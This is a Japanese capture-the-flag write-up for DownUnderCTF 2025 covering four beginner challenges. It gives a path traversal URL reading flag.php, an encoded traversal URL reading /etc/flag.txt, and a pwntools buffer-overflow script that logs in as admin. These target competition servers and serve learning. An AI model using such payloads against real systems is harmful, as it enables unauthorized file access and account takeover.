DownUnderCTF 2025 Writeup

DownUnderCTF にソロで参加したので振り返り用の Writeup (Begginer 問題いくつか).
用事があって解く時間があまりなかったのが残念.

フラグ形式

DUCTF{}
        

discord

zeus

  if (((param_1 == 3) && (iVar1 = strcmp(*(char **)(param_2 + 8),"-invocation"), iVar1 == 0)) &&
     (iVar1 = strcmp(*(char **)(param_2 + 0x10),local_10), iVar1 == 0))
        
./zeus -invocation "To Zeus Maimaktes, Zeus who comes when the north wind blows, we offer our praise, we make you welcome!"
        

philtered

https://web-philtered-0a2005e5b9bf.2025-us.ductf.net/?allow_unsafe=true&config[path]=../flag.php
        

corporate-clinche

from pwn import *

host = "chal.2025-us.ductf.net"
port = 30000

#sh = process("./email_server")
sh = remote(host, port)

sh.recvuntil("e:")
sh.sendline("dummy".encode()) # dummy user

sh.recvuntil("d:")

payload = "🇦🇩🇲🇮🇳".encode()
payload += b"\x00"
payload += "a".encode() * (0x20 - len("🇦🇩🇲🇮🇳".encode()) - 1)
payload += "admin".encode()

sh.sendline(payload)

sh.interactive()
        

secure email attachments

http://chal.2025-us.ductf.net:30014/attachments%2e%2fattachments%2e%2f%2e%2fattachments%2e%2fetc%2fflag%2etxt